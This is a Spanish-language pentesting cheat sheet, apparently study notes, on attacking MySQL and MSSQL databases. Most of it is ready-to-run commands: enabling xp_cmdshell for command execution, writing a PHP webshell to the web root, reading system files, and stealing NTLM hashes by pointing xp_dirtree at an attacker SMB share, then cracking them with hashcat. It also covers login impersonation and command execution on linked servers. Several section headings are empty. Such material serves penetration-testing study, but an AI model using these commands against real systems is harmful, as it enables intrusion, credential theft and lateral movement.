Bases de Datos - Ataques a MySQL & MSSQL

📖 Introducción


🔎 Enumeración inicial

Puertos por defecto

nmap -sC -sV -p1433,3306 <IP>

{349CAF8F-9DD7-4437-8B01-E70FDC6107CE}.png
Revela:


🔐 Autenticación en MSSQL

⚠️ Misconfiguración común → usuarios sin contraseña o acceso anónimo.


🐛 Vulnerabilidades conocidas


📂 Bases de datos por defecto

MySQL

MSSQL


🛠️ Conexión a bases de datos

MySQL

mysql -u usuario -pContraseña -h <IP>

MSSQL

sqlcmd -S <server> -U usuario -P password
sqsh -S <IP> -U usuario -P password
mssqlclient.py usuario@<IP> -p 1433

{85A83E54-C0F8-484A-95AB-C8F37C8365FD}.png


📊 Consultas básicas

🔍 Mostrar bases de datos

SHOW DATABASES;
SELECT name FROM master.dbo.sysdatabases;

📂 Seleccionar base de datos

USE <base de datos>

📑 Mostrar tablas

SHOW TABLES; 
SELECT table_name FROM INFORMATION_SCHEMA.TABLES;

Mostrar los datos

👤 Dump de usuarios

SELECT * FROM users;


⚡ Ejecución de comandos en SQL

MSSQL – xp_cmdshell

EXEC xp_cmdshell 'whoami';
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

MySQL – Webshell PHP

SELECT "<?php system($_GET['c']);?>" 
INTO OUTFILE '/var/www/html/shell.php';

⚠️ Depende de secure_file_priv.


📥 Leer y escribir archivos

MSSQL

SELECT * FROM OPENROWSET(
 BULK N'C:/Windows/System32/drivers/etc/hosts',
 SINGLE_CLOB
) AS Contents;

MySQL

SELECT LOAD_FILE('/etc/passwd');

🪪 Robo de hashes con MSSQL

📌 Usando xp_dirtree o xp_subdirs:

EXEC master..xp_dirtree '\\<attackerIP>\share\';
go
sudo impacket-smbserver share ./  -smb2support

o

sudo responder -I tun0

Reciberemos el hash del usuario
Pasted image 20250914195343.png
Crackear la contraseña

hashcat -m 5600 mssqlsvc.hash /usr/share/wordlists/rockyou.txt
hashcat mssqlsvc.hash --showS

Pasted image 20250914195702.png


🎭 Suplantación de usuarios (IMPERSONATE)

Listar usuarios que podemos suplantar:

SELECT b.name
FROM sys.server_permissions a
JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

Pasted image 20250920141048.png
Ejemplo → Escalada a simon:

EXECUTE AS LOGIN = 'simon'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

Si aparece 0 significa que no tenemos permiso de administrador

Ahora somos simon
{A6DFBA6F-3465-419C-899A-E1D932B3C411}.png


🔄 Movimiento lateral con servidores vinculados

Identificar linked servers:

SELECT srvname, isremote FROM sysservers;

🎯 Ejecución de Consultas en Servidores Remotos

EXECUTE('select @@servername, system_user') AT [10.0.0.12\SQLEXPRESS];

🚀 Si tiene rol sysadmin, podemos usar xp_cmdshell remoto.

⚡ Ejecución de Comandos en Servidores Remotos

EXECUTE('EXEC xp_cmdshell ''whoami''') AT [REMOTE_SERVER]; -- 🖥️ Comando remoto
GO
EXECUTE('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE;') 
AT [REMOTE_SERVER]; -- ⚙️ Opciones avanzadas remotas
GO

EXECUTE('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') 
AT [REMOTE_SERVER]; -- 🖥️ xp_cmdshell remoto
GO